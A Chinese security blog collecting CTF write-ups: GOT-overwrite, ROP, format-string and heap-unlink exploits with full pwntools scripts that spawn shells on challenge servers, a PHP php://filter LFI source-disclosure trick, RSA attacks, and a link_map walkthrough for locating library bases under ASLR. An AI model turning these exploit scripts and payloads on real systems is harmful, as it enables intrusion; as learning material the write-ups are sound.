然而到这里,这个向任意地址写内容的漏洞还是不太实用。因为sprintf所写的内容一直到非常靠后面才是我们可控的,即就是说为了修改某地址,我们需要从这个地址的前面就开始覆盖,而这就有一定的局限性。比如说要覆盖GOT第一个的sprintf,就需要从GOT前面很远的地方开始写,而不幸的是,那里是不可写的。这个问题也是困扰我比较久的一处。

最后发现了不自然的地方。(又是不自然之处,我觉得我很多题目都是从那些看上去很别扭的地方突破的)具体地,程序里预先定义了商品的不同类型,而且我们也只能选择其一,但这些商品类型字符串居然没有保存在rodata里面。一般来说这些都是字符串常量的。这就是不自然的地方。也就是说,我们利用前面的向任意地址写内容的漏洞,去修改这些商品类型字符串的内容;进一步,在后面再次调用有问题的生成menu信息的函数时,所用的商品类型信息变成了我们刚刚修改的,而这些信息恰好就被sprintf打印在最开始了。这就解决了上面提到的问题,不需要在目标地址之前开始覆盖了。

于是,我们有了一个可用的向任意地址写任意内容的漏洞。下面所做的,我首先是打印库函数地址来检查ASLR。因为有提供libc.so,所以通过某个函数地址泄露就可以得到system的地址。我是通过改写存放商品指针的数组内容来做到这一点的。具体地,改写存放所有商品指针的数组的某一项,然后在购买该项时选择”buy buy buy”,计算剩余金钱。这样就会取读这个商品指针后面ptr+0x76处的4 bytes作为商品的价格,于是由剩余的金钱就可以计算出商品的价格,即ptr+0x76处的内容。当然实际操作时,程序还会检查剩余金额需要非负。这一点,我们可以先买价格为负数的其他商品,使得总金钱变的足够大后再去买。

通过检查GOT里库函数地址,我发现虽然ASLR开启了,但库函数地址只有中间2个bytes被随机化了,也就是说最多只有256种可能,这和我见到的的ASLR相比太少了。这也直接导致我最后使用暴力碰撞地址的办法。因为时间紧迫,我没有分析出如何将计算得到的system的地址再写回(有知道的大牛请不吝赐教哈),而是猜测system的一个可能的地址,然后反复跑直到真正的地址恰好是我所猜测的。具体地,修改sprintf@got为这个我猜的system的地址,那么在执行计算价格时,sprintf会作用到某个字符串buf上,而那里正好存放的是刚刚读入的购买商品的个数。于是我如果输入10 || /bin/sh,那么atoi会返回10,通过检查,紧接着的sprinf就会变成调用system("10 || /bin/sh"),执行shell了。不过这里我后来想改atoi@got应该也可以,而且更方便。

于是,我开始一遍遍地跑,希望我猜测的地址能够碰上。跑了大概20几次,终于撞上了。得到flag是BCTF{h0w_could_you_byp4ss_vt4ble_read0nly_ch3cks}。好吧,readonly check,我也是第一次见到这样的,学习了。

下面是python代码,其中system的地址就是我猜测的。

#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='i386',os='linux')elf=ELF('zhong')#ip = "127.0.0.1"ip=sys.argv[1]conn=remote(ip,6666)#store namepayload="a\n"+"A"*63+"\n"conn.recvuntil("Your choice? ")conn.send(payload)genPhoneDes=0x08049b74#content of GOT before function addresses are resolved#len 18gotB4=[0x080486c6,0x080486d6,0x080486e6,0x080486f6,0x08048706,0x08048716,0x08048726,0xf7cc5570,0x08048746,0x08048756,0x08048766,0x08048776,0x08048786,0x08048796,0x080487a6,0x080487b6,0x080487c6,0x080487d6]system=0xf7433da0#rewrite the 1st entry(sprint) as system, and make sure the other function calls won't crashfuncAddr=[system]+gotB4[1:]#create the 1st productpayload="a\n"+"B"*31+"\n4\n-1011111111\n"+"CC"+''.join([p32(x)forxinfuncAddr])+p32(genPhoneDes)+"D\n"conn.recvuntil("Your choice? ")conn.send(payload)#generate the menuconn.recvuntil("Your choice? ")conn.send("c\n")#create the following productforiinrange(1,16):conn.recvuntil("Your choice? ")conn.send(payload)#generate the menu againconn.recvuntil("Your choice? ")conn.send("c\n")#write to addr storing phone type string blackberry=0x0804b0fcpayload="d\nb\n2\nb\n"+str(blackberry-60)+"\n"conn.send(payload)#rewrite sprintf@gotsprintfGot=0x0804b00cpayload="b\n"+str(sprintfGot)+"\n"conn.send(payload)conn.recvuntil("Your choice? ")#calculate wholwsale price of another productpayload="c\nb\n5\nb\n"conn.send(payload)conn.recvuntil("How many do you plan to buy?")#call sprintf which is system nowcmd="/bin/sh"payload="10 || "+cmd+"\n"conn.send(payload)conn.interactive()

后记:阅读其他人的writeup,才知道可以不用暴力碰撞的……只需要通过对atoi@got进行一个相对的修改,改为system即可。而这是可以通过将atoi@got改为存放金钱的指针来完成,然后在减去花费的金额时就可以对那里操作了。太巧妙了!

warmup

这道题只有50分,应该不难,但我是一直到周一凌晨1点多才做出来……

这道题是RSA,给了密文c和公钥文件,从中可以获得公钥e, n。发现e非常大,几乎和n是同阶的,这非常不自然,因为我常见到的e都是很小的。最后我是在查看RSA的wiki时,发现说密钥d应该足够大,否则会有Wiener攻击破解。而联想到这么大的e,我猜想d可能会很小,没想到试了下真的是这样……我是直接用这里的现成的代码,并且设置sys.setrecursionlimit为10000,用了大概一分多钟得到了密钥d。之后就是简单的指数运算,得到明文p=0x424354467b3965745265613479217d,即BCTF{9etRea4y!}

感想

虽然我们的成绩并不是那么突出,但这次比赛还是很有意义的。其实从总体来看,感觉国内的队伍对web方面的题目还是比较熟练,国外队伍则是在溢出、逆向这些方面比较强。而这次比赛,有大量大分值的溢出逆向题目,所以最后的成绩,国内队伍和国际顶级队伍还是有不小差距。也许溢出逆向为主是国际比赛的主流风格了。不 管怎样,我相信我们国内的队伍也会在这方面不断提高的,我也希望能够和爱好信息安全的小伙伴们共同探讨学习,提高水平。

PHP protocol的坑

$
0
0

LFI(local file inclusion)是一类比较典型的漏洞,不过之前也并没怎么利用过它,主要还是include时往往有许多限制,比如文件的后缀必须是.php。今天偶然发现了PHP伪协议的一个坑,可以得到php文件的内容而不是作为php解释。

这是php://filter/convert.base64_encode/resource=。根据官方文档的描述,他可以像base64_encode()那样将stream进行编码。于是,在如下的场景中

<?phpinclude($_GET["var"].".php");?>

如果我们访问index.php?var=php://filter/convert.base64-encode/resource=index,那么就会得到include(php://filter/convert.base64-encode/resource=index.php),将index.php的内容进行base64编码了。由此,我们可以解码得到index.php的代码。

这种方法还有一点好处,是不包含截断用的\x00字符。当然,局限就是读后缀被对方限制的文件。不过能获取源代码,也是比较危险的了。

话说回来,之前ISG初赛有一道题目就是利用了PHP的data://text/plain;base64,这种protocol来绕过过滤。确实这些protocol给程序员带来了不少方便,但也埋下了一个个坑,给黑名单过滤这种机制带来隐患。

0CTF writeup

$
0
0

周末参加了今年的第二次CTF,0CTF。与BCTF类似,这次的溢出、逆向题目也是非常有水平的,令人大开眼界。下面是我的部分的writeup。

flaggenerator

这道题的溢出还是比较明显的。在leetify时,一个h字符会被变成1-1三个字符,从而长度变长,造成栈溢出。但这道题有stack canary保护,如果我们栈溢出修改了返回地址,就会触发__stack_chk_fail。而读了一遍伪代码之后并没有发现可以泄露canary的地方,于是肯定会触发调用__stack_chk_fail了。

但是,在leetify的最后一步是strcpy,而目标dest是从栈上取的,源src是我们提供的flag(虽然有些字符被leetify了)。dest是我们可以覆盖到的,于是,如果我们把strcpy的目标地址改为GOT,造成修改__stack_chk_fail@got,那么就可以调用我们提供的函数了。

在调用__stack_chk_fail@got时,栈顶还是之前strcpy的参数。我用的是leave; ret,这样把ebp设为我们覆盖的一个地址,再跳回leetify的返回地址,那里也是被我们所覆盖的,进而ROP下去。pwntools里好像有写ROP的功能,我不太熟,还是手工构造的。具体地,先put打印GOT,获得库函数地址;然后调用程序里一个类似readline的函数,将system和字符串/bin/sh读到固定位置;最后leave; ret,执行system("bin/sh")。下面是代码:

#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='i386',os='linux')elf=ELF('flagen')#ip = "127.0.0.1"ip=sys.argv[1]conn=remote(ip,5149)#len=9newGOT=[0x080484e6,0x080484f6,0x08048506,0x08048516,0x08048526,0xf7e24570,0x08048546,0x08048556,0x08048566]leave=0x080485d8newGOT[0]=leave#leave; retnewEbp=0x0804b610newDest=0x0804b01c#__stack_chk_fail@gotpopRet=0x08048481#pop ebx; retnewRet=popRetputs=0x08048510#puts@pltread=0x0804b00c#read@gotreadLine=0x080486cbcount=0x01010101sh=newEbp+4*4bsh=0xf7f6a3a8#0x10c=4*9+77*3+1payload1="1\n"+"".join([p32(x)forxinnewGOT])+"h"*77+"a"+p32(newEbp)+p32(popRet)+p32(newDest)+p32(puts)+p32(popRet)+p32(read)+p32(readLine)+p32(leave)+p32(newEbp)+p32(count)+"\n4\n"#total: 4*9+77+1+4*10=154conn.recvuntil("Your choice: ")conn.send(payload1)conn.recvuntil("Your choice: ")a1=conn.recvn(4)readAddr=unpack(a1)print(hex(readAddr))#system = 0xf7e46d70system=readAddr-0x9aa40payload2=p32(newEbp)+p32(system)+p32(popRet)+p32(sh)+"/bin//sh\n"conn.send(payload2)conn.interactive()

login

这道题是PIE的,所以我调试下断点遇到了一点麻烦。最后我的方法是:在库函数MD5下断点,运行到那里后,finish回到原程序里,然后一步步走下去。

很明显,我们需要调用读flag文件的那个函数,为此我们需要成为normal user。再新login用户时的scanf有问题,这里它用的是%256s,这样如果输入256个字符,就会读256个,并添加一个\x00在最后。这样,就可以修改那里,成为normal user了。

然后,在隐藏的选项4里,存在format string attack,而且一共有两次。于是我们可以在第一次得到内存地址,然后第二次修改来跳到读flag的函数那里。具体地,通过大量打印内存,我们发现printf的第3个参数是栈上的某处,由此可以得到返回地址在栈上的地址;第75个参数是返回地址,由此我们可以得到.text的基地址,进而得到读flag的函数的地址。然后,在第二次printf时,我们修改返回地址为读flag,就可以在printf结束后获得flag了。

下面是代码:

#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='i386',os='linux')#ip = "127.0.0.1"ip=sys.argv[1]conn=remote(ip,10910)payload="guest\nguest123\n2\n"+"A"*256+"4\n"+"%3$p,%75$p\n1234\n"conn.send(payload)conn.recvuntil("Password: ")conn.recvuntil("Password: ")addrs=(conn.recvline(keepends=False).split(" ")[0]).split(',')printaddrsstack=int(addrs[0],16)base=int(addrs[1],16)-0x12d3retAddr1=stack-0x8retAddr2=retAddr1+1printhex(retAddr1)printhex(base)high=(base&0xff00)>>8printhex(high)newHigh=high+0x11part1="%8x%11$hhn"count=newHigh-8print"count 2 is %d"%countifcount>13andcount<100:part2="aaa%%%dx%%12$hhn"%(count-3)elifcount>102:part2="aa%%%dx%%12$hhn"%(count-2)printlen(part1)+len(part2)printpart1+part2payload=part1+part2+p64(retAddr1)+p64(retAddr2)+"\n1234\n"conn.send(payload)conn.interactive()

polyglot quine

其实两道题都是考察的它,只不过第一题只要求5种语言里的3种通过即可,第二题则要求5种语言全部通过。第一题我是直接搜索在http://shinh.skr.jp/obf/得到的,它已经满足c, python2, ruby和perl了。但python3还不满足,为此我研究了一下这段代码。

实验发现,python3之所以不满足,是因为python里的print会附加一个换行符在最后。为了解决这个问题,代码里用的是print a%b,,即在print之后添加一个逗号使得不打印换行符。但这只对python2有效,python3就不行了。

经过一番思考,我发现可以通过rstrip()去掉结尾的换行符,然后再print添加一个换行符,这样就做到了只有一个换行符了,而且这样对python2和python3都可以。下面就是我修改后可以通过5种语言的代码:

 #include/*
s='''*/
main(){char*_;/*==;sub _:lvalue{$_}<<s;#';<<s#'''
def printf(a,*b):print((a%b).rstrip())
s
#*/
_=" #include/*%cs='''*/%cmain(){char*_;/*==;sub _:lvalue{%c_}<<s;#';<<s#'''%cdef printf(a,*b):print((a%%b).rstrip())%cs%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cs='''*/%c}//'''#==%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
s='''*/
}//'''#==



0CTF rsa quine

$
0
0

这道题是一道密码学(其实是数学)的题目,因为对相关理论还是不够熟练,在比赛的时候没有能够做出来:( 这两天读了读别人的writeup,基本上明白解法了,在这里记录下具体的思路。

题目的要求是求”quine number”,即:已知RSA公钥,求,使得。规则很清晰,但实际解决起来还是需要一定的数学知识。

Ok. Now welcome to the world of math!

我当时犯的一个错误是,误以为。满足这样的当然符合条件,然而试了下就发现,所有这样的还是不够题目要求的quine的数目。事实上,这样做的前提是存在的逆,而是一个合数,是环而不是域,逆不一定存在的。

于是,我们首先分解。因为与互素,所以题目就可以化为:求使得

而和是素数,所以和就是有限域了,必然存在逆。所以,如果记,,题目可以进一步转化为:求,使得

一旦得到了和,就可以根据中国剩余定理得到。

下面来看怎样求。存在作为乘法群的generator的primitive element,记为。它具有如下性质:

当然可以为0;如果其非0,那么就可以被生成。假设,那么,从而一定是的倍数。因此,我们有:

为了求所有的,我们只需要先求出,那么。有了这些,我们可以计算出相应的一系列。注意这里是有限域,所以所有的,除了0,其实也构成了一个cyclic group。

上述的就是如何求。同样的道理我们可以求出所有的。两两组合,每一对使用中国剩余定理,就得到了满足题意的。

通过DT_DEBUG来获得各个库的基址

$
0
0

最近,在学习BCTF和0CTF的writeup时,注意到了一种通过DT_DEBUG来获得库的基址的方式:BCTF里的pattern用这一方法来获得ld-linux.so的地址,0CTF里的sandbox用这一方法来获得sandbox.so的基址。之前面对ASLR,我只知道可以通过GOT来获取libc.so的地址,而其他库的地址还不清楚应该怎样取得。于是,我稍微研究了下,在此记录。

首先,通过readelf -d,可以得到.dynamic的信息。而有些二进制文件里的.dynamic里包含DT_DEBUG

Dynamic section at offset 0x7c8 contains 20 entries:
  Tag        Type                         Name/Value
  ...
  0x0000000000000015 (DEBUG)              0x0
  ...

这里DT_DEBUG的值是0。在实际运行时,DT_DEBUG的值是指向struct r_debug的指针。其定义如下:

/* Rendezvous structure used by the run-time dynamic linker to communicate   details of shared object loading to the debugger.  If the executable's   dynamic section has a DT_DEBUG element, the run-time linker sets that   element's value to the address where this structure can be found.  */structr_debug{intr_version;/* Version number for this protocol.  */structlink_map*r_map;/* Head of the chain of loaded objects.  *//* This is the address of a function internal to the run-time linker,       that will always be called when the linker begins to map in a       library or unmap it, and again when the mapping change is complete.       The debugger can set a breakpoint at this address if it wants to       notice shared object mapping changes.  */ElfW(Addr)r_brk;enum{/* This state value describes the mapping change taking place when           the `r_brk' address is called.  */RT_CONSISTENT,/* Mapping change is complete.  */RT_ADD,/* Beginning to add a new object.  */RT_DELETE/* Beginning to remove an object mapping.  */}r_state;ElfW(Addr)r_ldbase;/* Base address the linker is loaded at.  */};

可以看到,其第二个元素是指向struct link_map的指针。其定义如下:

/* Structure describing a loaded shared object.  The `l_next' and `l_prev'   members form a chain of all the shared objects loaded at startup.   These data structures exist in space used by the run-time dynamic linker;   modifying them may have disastrous results.  */structlink_map{/* These first few members are part of the protocol with the debugger.       This is the same format used in SVR4.  */ElfW(Addr)l_addr;/* Difference between the address in the ELF                                   file and the addresses in memory.  */char*l_name;/* Absolute file name object was found in.  */ElfW(Dyn)*l_ld;/* Dynamic section of the shared object.  */structlink_map*l_next,*l_prev;/* Chain of loaded objects.  */};

于是,遍历link_map,对比l_name,找到目标之后,就可以通过l_addr获得那个库的基址。

实例如下,比如说我们要找ld-linux.so的基址。首先,检查.dynamic的内容:

gdb-peda$ x/20gx 0x6007c8
0x6007c8:       0x0000000000000001      0x0000000000000010
0x6007d8:       0x000000000000000c      0x0000000000400400
0x6007e8:       0x000000000000000d      0x00000000004006d8
0x6007f8:       0x000000006ffffef5      0x0000000000400260
0x600808:       0x0000000000000005      0x0000000000400310
0x600818:       0x0000000000000006      0x0000000000400280
0x600828:       0x000000000000000a      0x000000000000004b
0x600838:       0x000000000000000b      0x0000000000000018
0x600848:       0x0000000000000015      0x00007f38cd4bd140
0x600858:       0x0000000000000003      0x0000000000600960

DT_DEBUG是0x15,所以0x600848那里就是DT_DEBUG的条目,其值是0x00007f38cd4bd140,即struct r_debug的地址。

gdb-peda$ x/6x 0x00007f38cd4bd140
0x7f38cd4bd140 <_r_debug>:      0x0000000000000001      0x00007f38cd4bd168
0x7f38cd4bd150 <_r_debug+16>:   0x00007f38cd2aba90      0x0000000000000000
0x7f38cd4bd160 <_r_debug+32>:   0x00007f38cd29c000      0x0000000000000000

对照定义,我们知道第二个元素,0x00007f38cd4bd168是link_map链表的第一个元素的地址。

gdb-peda$ x/6x 0x00007f38cd4bd168
0x7f38cd4bd168: 0x0000000000000000      0x00007f38cd2b69fb
0x7f38cd4bd178: 0x00000000006007c8      0x00007f38cd4bd700
0x7f38cd4bd188: 0x0000000000000000      0x00007f38cd4bd168
gdb-peda$ x/s 0x00007f38cd2b69fb
0x7f38cd2b69fb: ""

而这里第二个元素l_name是空,不是我们要找的库。于是通过第四个元素l_next,即0x00007f38cd4bd700,来看下一个

gdb-peda$ x/6x 0x00007f38cd4bd700
0x7f38cd4bd700: 0x00007fff09fe9000      0x00007f38cd2b69fb
0x7f38cd4bd710: 0x00007fff09fe9318      0x00007f38cd4ba658
0x7f38cd4bd720: 0x00007f38cd4bd168      0x00007f38cd4bd700
gdb-peda$ x/s 0x00007f38cd2b69fb
0x7f38cd2b69fb: ""

同理,这里也不是。继续看下一个0x00007f38cd4ba658

gdb-peda$ x/6x 0x00007f38cd4ba658
0x7f38cd4ba658: 0x00007f38ccede000      0x00007f38cd4ba640
0x7f38cd4ba668: 0x00007f38cd294b40      0x00007f38cd4bc998
0x7f38cd4ba678: 0x00007f38cd4bd700      0x00007f38cd4ba658
gdb-peda$ x/s 0x00007f38cd4ba640
0x7f38cd4ba640: "/lib64/libc.so.6"

这里是libc.so,那么我们继续看下一个0x00007f38cd4bc998

gdb-peda$ x/6x 0x00007f38cd4bc998
0x7f38cd4bc998 <_rtld_local+2456>:      0x00007f38cd29c000      0x0000000000400200
0x7f38cd4bc9a8 <_rtld_local+2472>:      0x00007f38cd4bbe10      0x0000000000000000
0x7f38cd4bc9b8 <_rtld_local+2488>:      0x00007f38cd4ba658      0x00007f38cd4bc998
gdb-peda$ x/s 0x0000000000400200
0x400200:       "/lib64/ld-linux-x86-64.so.2"

OK,这里就是ld-linux.so了。l_addr的值是0x00007f38cd29c000,我这里开了ASLR,而ld-linux.so的基址就正好是0x00007f38cd29c000

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      /root/heap.out
0x00600000         0x00601000         rw-p      /root/heap.out
0x00007f38ccede000 0x00007f38cd092000 r-xp      /usr/lib64/libc-2.18.so
0x00007f38cd092000 0x00007f38cd291000 ---p      /usr/lib64/libc-2.18.so
0x00007f38cd291000 0x00007f38cd295000 r--p      /usr/lib64/libc-2.18.so
0x00007f38cd295000 0x00007f38cd297000 rw-p      /usr/lib64/libc-2.18.so
0x00007f38cd297000 0x00007f38cd29c000 rw-p      mapped
0x00007f38cd29c000 0x00007f38cd2bc000 r-xp      /usr/lib64/ld-2.18.so
0x00007f38cd4ae000 0x00007f38cd4b1000 rw-p      mapped
0x00007f38cd4ba000 0x00007f38cd4bb000 rw-p      mapped
0x00007f38cd4bb000 0x00007f38cd4bc000 r--p      /usr/lib64/ld-2.18.so
0x00007f38cd4bc000 0x00007f38cd4bd000 rw-p      /usr/lib64/ld-2.18.so
0x00007f38cd4bd000 0x00007f38cd4be000 rw-p      mapped
0x00007fff09f9f000 0x00007fff09fc0000 rw-p      [stack]
0x00007fff09fe7000 0x00007fff09fe9000 r--p      [vvar]
0x00007fff09fe9000 0x00007fff09feb000 r-xp      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp      [vsyscall]

由此,我们得到了ld-linux.so的地址。同样的道理,我们通过遍历link_map,就可以得到所有库的地址。当然,前提是二进制文件需要有DT_DEBUG

Edit:最近研究才意识到,不一定需要从DT_DEBUG去获得link_map的地址。事实上,.got.plt的前3项,分别是.dynamic的地址,link_map的地址和_dl_runtime_resolve的地址。在解析函数地址时,link_map会被作为参数推到栈上传递给_dl_runtime_resolve。关于这一过程及利用方式,详情可见http://rk700.github.io/article/2015/08/09/return-to-dl-resolve

0CTF freenote

$
0
0

这道题目是关于heap overflow的。之前没有接触过这方面。通过阅读http://winesap.logdown.com/posts/258859-0ctf-2015-freenode-write-up, http://winesap.logdown.com/posts/258859-0ctf-2015-freenode-write-up这两篇writeup,基本上明白了原理,在此记录。

此外,关于glibc malloc的基本知识,可以参考https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/

首先,创建4个大小为1的note(大小会被自动近似到128),内容为"a"

gdb-peda$ vmmap 
Start              End                Perm      Name
0x00400000         0x00402000         r-xp      /root/freenote
0x00601000         0x00602000         r--p      /root/freenote
0x00602000         0x00603000         rw-p      /root/freenote
0x00603000         0x00625000         rw-p      [heap]
...

heap从0x603000开始。我们具体地去看那些chunks:

gdb-peda$ x/4gx 0x603000
0x603000:       0x0000000000000000      0x0000000000001821
0x603010:       0x0000000000000100      0x0000000000000004
gdb-peda$ x/4gx 0x603000+0x1820
0x604820:       0x0000000000000000      0x0000000000000091
0x604830:       0x0000000000000061      0x0000000000000000
gdb-peda$ x/4gx 0x604820+0x90
0x6048b0:       0x0000000000000000      0x0000000000000091
0x6048c0:       0x0000000000000061      0x0000000000000000
gdb-peda$ x/4gx 0x6048b0+0x90
0x604940:       0x0000000000000000      0x0000000000000091
0x604950:       0x0000000000000061      0x0000000000000000
gdb-peda$ x/4gx 0x604940+0x90
0x6049d0       0x0000000000000000      0x0000000000000091
0x6049e0:       0x0000000000000061      0x0000000000000000
gdb-peda$ x/4gx 0x6049d0+0x90
0x604a60:       0x0000000000000000      0x00000000000205a1
0x604a70:       0x0000000000000000      0x0000000000000000

分给4个128 bytes的notes的chunks从0x604820开始,其内容均为我们提供的"a"=0x61。而打印main_arena,可以看到0x604a60那里就是top chunk

gdb-peda$ p main_arena 
$6={mutex= 0x0, 
  flags= 0x1, 
  fastbinsY={0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top= 0x604a60, 
  last_remainder= 0x0, 
  bins={0x7ffff7dd67b8 <main_arena+88>, 0x7ffff7dd67b8 <main_arena+88>,...

这些chunk的大小都足够大,不会用到fastbin。而到目前为止还没有free,bins里也是没有chunks的:

gdb-peda$ x/4gx 0x7ffff7dd67b8
0x7ffff7dd67b8 <main_arena+88>: 0x0000000000604a60      0x0000000000000000
0x7ffff7dd67c8 <main_arena+104>:        0x00007ffff7dd67b8      0x00007ffff7dd67b8

然后,我们free掉第0个note,位于0x604820

gdb-peda$ p main_arena 
$7={mutex= 0x0, 
  flags= 0x1, 
  fastbinsY={0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top= 0x604a60, 
  last_remainder= 0x0, 
  bins={0x604820, 0x604820, 0x7ffff7dd67c8 <main_arena+104>,...

可以看到,0x604820出现在了bins的第1个和第2个,应该是传说中的unsorted bin了,这里chunks是双向链表:

gdb-peda$ x/4gx 0x604820
0x604820:       0x0000000000000000      0x0000000000000091
0x604830:       0x00007ffff7dd67b8      0x00007ffff7dd67b8
gdb-peda$ x/4gx 0x604820+0x90
0x6048b0:       0x0000000000000090      0x0000000000000090
0x6048c0:       0x0000000000000061      0x0000000000000000
gdb-peda$ x/4gx 0x00007ffff7dd67b8
0x7ffff7dd67b8 <main_arena+88>: 0x0000000000604a60      0x0000000000000000
0x7ffff7dd67c8 <main_arena+104>:        0x0000000000604820      0x0000000000604820

然后,我们free掉第2个note,位于0x604940

gdb-peda$ p main_arena 
$8={mutex= 0x0, 
  flags= 0x1, 
  fastbinsY={0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top= 0x604a60, 
  last_remainder= 0x0, 
  bins={0x604940, 0x604820, 0x7ffff7dd67c8 <main_arena+104>,

这里bins[0]是刚刚free掉的0x604940,而bins[1]是最开始free掉的0x604820。free chunks的链表如下:

gdb-peda$ x/4gx 0x604940
0x604940:       0x0000000000000000      0x0000000000000091
0x604950:       0x0000000000604820      0x00007ffff7dd67b8
gdb-peda$ x/4gx 0x604820
0x604820:       0x0000000000000000      0x0000000000000091
0x604830:       0x00007ffff7dd67b8      0x0000000000604940
gdb-peda$ x/4gx 0x00007ffff7dd67b8
0x7ffff7dd67b8 <main_arena+88>: 0x0000000000604a60      0x0000000000000000
0x7ffff7dd67c8 <main_arena+104>:        0x0000000000604940      0x0000000000604820

于是,0x604820那里的bk,即位于0x6048380x604940,指向的就是note2的chunk的地址。那么接下来,我们再创建一个同样大小的note(长度为8, 被近似到128进行malloc),那么就会被分配到最开始free0x604820那里(因为bins是FIFO)。我们提供的8 bytes的内容之后,紧跟着的就是bk。由此。通过打印这个刚刚创建的note的内容,就可以在我们提供的8 bytes后面得到某个chunk的地址,进而得到heap的地址。

下面是我们free掉note2后再创建新note的情况:

gdb-peda$ p main_arena 
$9={mutex= 0x0, 
  flags= 0x1, 
  fastbinsY={0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top= 0x604a60, 
  last_remainder= 0x0, 
  bins={0x604940, 0x604940, 0x7ffff7dd67c8 <main_arena+104>,...

可以看到,0x604820被新创建的note用掉了,所以被从bins双向链表里去掉了:

gdb-peda$ x/4gx 0x604940
0x604940:       0x0000000000000000      0x0000000000000091
0x604950:       0x00007ffff7dd67b8      0x00007ffff7dd67b8
gdb-peda$ x/4gx 0x00007ffff7dd67b8
0x7ffff7dd67b8 <main_arena+88>: 0x0000000000604a60      0x0000000000000000
0x7ffff7dd67c8 <main_arena+104>:        0x0000000000604940      0x0000000000604940

查看这个新note的内容:

gdb-peda$ x/4gx 0x604820
0x604820:       0x0000000000000000      0x0000000000000091
0x604830:       0x3837363534333231      0x0000000000604940

看到我们提供的内容"12345678"=0x3837363534333231之后就是bk指针,没有被破坏掉,我们通过打印note内容就可以得到这一地址。

通过villoc,我们可以将刚才的过程用图片显示出来:

有了heap的地址,我们就可以创建一个伪chunk,这个chunk是已经free的,其fdbk指向heap上的某处,具体地,fd->bk=bk->fd=ptr。这里我们先创建note0,其内容中包含我们构造的伪chunk;然后创建note1,内容是/bin/sh用来后面调用system;然后再创建note2,其内容中包含多个构造的chunk

具体地,我们创建完这3个note后,真正的chunks如下

gdb-peda$ x/4gx 0x604820
0x604820:       0x0000000000000000      0x0000000000000091
0x604830:       0x0000000000000000      0x00000000000001a1
gdb-peda$ x/4gx 0x604820+0x90
0x6048b0:       0x0000000000000090      0x0000000000000091
0x6048c0:       0x0068732f6e69622f      0x0000000000000000
gdb-peda$ x/4gx 0x6048b0+0x90
0x604940:       0x0000000000000000      0x0000000000000291
0x604950:       0x6161616161616161      0x6161616161616161
gdb-peda$ x/4gx 0x604940+0x290
0x604bd0:       0x0000000000000000      0x0000000000020431
0x604be0:       0x0000000000000000      0x0000000000000000

但如果从伪chunks来看,其布局是这样的:

gdb-peda$ x/4gx 0x604830
0x604830:       0x0000000000000000      0x00000000000001a1
0x604840:       0x0000000000603018      0x0000000000603020
gdb-peda$ x/4gx 0x604830+0x1a0
0x6049d0:       0x00000000000001a0      0x0000000000000090
0x6049e0:       0x6161616161616161      0x6161616161616161
gdb-peda$ x/4gx 0x6049d0+0x90
0x604a60:       0x0000000000000000      0x0000000000000091
0x604a70:       0x6161616161616161      0x6161616161616161
gdb-peda$ x/4gx 0x604a60+0x90
0x604af0:       0x0000000000000000      0x0000000000000091
0x604b00:       0x6161616161616161      0x6161616161616161
gdb-peda$ x/4gx 0x604af0+0x91
0x604b81:       0x0000000000000000      0x0000000000000000
0x604b91:       0x0000000000000000      0x0000000000000000

0x604830处的伪chunk是已经free的了,可以从0x6049d8处看出;而fd=0x603018bk=0x603020,满足fd->bk = bk->fd = ptr = 0x604830。这是因为0x604830作为note字符串的地址,被存在heap上了:

gdb-peda$ x/gx 0x603030
0x603030:       0x0000000000604830

这也是我们第一步需要heap的基址的原因。

然后,我们删除掉note3。因为第一次创建note3所分配的chunk恰好就是0x6049d0,在第一次删除note3的时候这个地址没有被更改;然后我们的伪chunk也在0x6049d0,于是double free。而现在0x6049d0这个伪chunk的内容完全是我们控制的。具体地,这个chunk不是free的(0x604a68),前面的是已经free的0x604830,后面是0x604a60,也不是free的(0x604af8)。于是这两个chunk会被合并,具体地,0x604830会从双向链表上去掉,与0x6049d0合并之后,插入到unsorted bin。在0x604830从双向链表上去掉时发生unlink,造成修改。

删除掉note3,我们看到合并之后的0x604830,大小是0x1a0+0x90=0x230,被放到了bins[0],即unsorted bin:

gdb-peda$ p main_arena 
$15={mutex= 0x0, 
  flags= 0x1, 
  fastbinsY={0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top= 0x604bd0, 
  last_remainder= 0x0, 
  bins={0x604830, 0x604830, 0x7ffff7dd67c8 <main_arena+104>, ...
gdb-peda$ x/4x 0x604830
0x604830:       0x0000000000000000      0x0000000000000231
0x604840:       0x00007ffff7dd67b8      0x00007ffff7dd67b8

unlink过程中,我们把在heap上的之前存note0字符串地址的地方改了:

gdb-peda$ x/gx 0x603030
0x603030:       0x0000000000603018

于是接下来,我们如果修改note0,就相当于修改了那个所有note结构数组,即可以将note0的字符串地址改为free@got。由此,我们就可以通过读、写note的内容,做到读、写free@got。最后是这样将free@got改为system,那么在删除note2的时候,就发生了system("/bin/sh")

下面是最后的代码

